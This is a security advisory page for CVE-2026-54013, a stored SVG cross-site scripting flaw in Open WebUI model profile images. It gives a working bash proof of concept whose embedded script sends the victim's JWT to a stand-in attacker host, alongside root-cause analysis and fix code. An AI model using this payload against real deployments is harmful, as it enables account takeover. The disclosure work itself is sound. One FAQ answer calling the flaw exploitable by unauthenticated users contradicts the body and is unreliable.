CVE-2026-54013: Open WebUI: Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Published Jun 17, 2026
·
Updated

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc

---

TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.

---

Past of the issue

In early 2025, two security advisories landed for Open WebUI:

- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images - GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validateprofileimageurl function was introduced in backend/openwebui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

python backend/openwebui/models/models.py, line 37-47 class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None modelconfig = ConfigDict(extra='allow')

No @fieldvalidator. No import of validateprofileimageurl. ModelMeta accepts any string as profileimageurl including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

python backend/openwebui/routers/models.py, line 503-518 elif profileimageurl.startswith('data:image'): header, base64data = profileimageurl.split(',', 1) imagedata = base64.b64decode(base64data) imagebuffer = io.BytesIO(imagedata) mediatype = header.split(';')[0].lstrip('data:')

headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( imagebuffer, mediatype=mediatype, headers=headers, )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

python backend/openwebui/routers/users.py, line 497-509 mediatype = header.split(';')[0].lstrip('data:').lower()

if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: # <-- ABSENT in models.py return FileResponse(f'{STATICDIR}/user.png')

return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py }, )

The fix exists. It just was never applied here.

Comparison Table

| Endpoint | Input Validation | MIME Allowlist | nosniff | Status | |----------|:---:|:---:|:---:|--------| | GET /users/{id}/profile/image | YES | YES | YES | Patched | | GET /webhooks/{id}/profile/image | YES | no | no | Partially patched | | GET /models/model/profile/image | NO | NO | NO | Vulnerable |

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

1. POST /api/v1/models/create (line 195) any user with workspace.models permission 2. POST /api/v1/models/update (line 581) model owner or admin 3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

bash SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"accessgrants\": [] }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

bash #!/usr/bin/env bash PoC: Stored SVG XSS -> token theft via Open WebUI model profile image Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080" ATTACKERTOKEN="<attackerJWTfromlocalStorage.token>" COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener

--- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVGB64=$(printf '%s' "$SVG" | base64 -w0)

--- Step 2: Store the payload in a model's profileimageurl --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKERTOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,${SVGB64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"accessgrants\": [] }"

--- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg"> <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script> </svg> No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profileimageurl field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended Fix

Input side add the validator to ModelMeta:

python backend/openwebui/models/models.py from openwebui.utils.validate import validateprofileimageurl

class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' # ...

@fieldvalidator('profileimageurl', mode='before') @classmethod def checkprofileimageurl(cls, v): if v is None: return v return validateprofileimageurl(v)

Output side add MIME check and nosniff to the serving endpoint:

python backend/openwebui/routers/models.py mediatype = header.split(';')[0].lstrip('data:').lower()

if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: return FileResponse(f'{STATICDIR}/favicon.png')

return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', }, )

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  3. Configuration

    Add the `@field_validator('profile_image_url', mode='before')` validator in `backend/open_webui/models/models.py` (ModelMeta) so it calls `validate_profile_image_url` and blocks `data:image/svg+xml;base64,...`.

    Open WebUI Model profile image input validation ModelMeta profile_image_url (add @field_validator / validate_profile_image_url) = validate_profile_image_url(data-uri) with data: URI restriction to image/png, image/jpeg, image/gif, image/webp and exclusion of image/svg+xml
  4. Configuration

    Update the model image serving endpoint `GET /api/v1/models/model/profile/image` to perform an output-side MIME allowlist check (reject `image/svg+xml`) and return `X-Content-Type-Options: nosniff` instead of serving SVG inline.

    Open WebUI Model profile image serving endpoint GET /api/v1/models/model/profile/image response headers and MIME allowlist = Allow only `data:` raster MIME types via the existing `PROFILE_IMAGE_ALLOWED_MIME_TYPES`; set `Content-Type` accordingly and add `X-Content-Type-Options: nosniff` (and ensure SVG `image/svg+xml` is rejected)
  5. Compensating control

    Ensure any remaining model/webhook profile image endpoints consistently enforce MIME allowlist + `X-Content-Type-Options: nosniff` (the material notes output-side defenses were added only to `users.py`, leaving model/webhook endpoints with the same gap).

Event History

Jun 17, 2026
Advisory Published
via GitHub·02:15 PM
Data Sourced
via GitHub·02:15 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:46 PM
Data Sourced
via MITRE·04:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54013?

The severity of CVE-2026-54013 is high with a score of 7.6.

2

How do I fix CVE-2026-54013?

To fix CVE-2026-54013, update your Open WebUI installation to version 0.9.6 or later.

3

What type of vulnerability is CVE-2026-54013?

CVE-2026-54013 is a stored Cross-Site Scripting (XSS) vulnerability that can lead to account takeover.

4

Which versions of Open WebUI are affected by CVE-2026-54013?

Open WebUI versions 0.9.5 and earlier are affected by CVE-2026-54013.

5

Can CVE-2026-54013 be exploited remotely?

Yes, CVE-2026-54013 can be exploited remotely due to its attack vector that allows unauthenticated users to execute scripts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203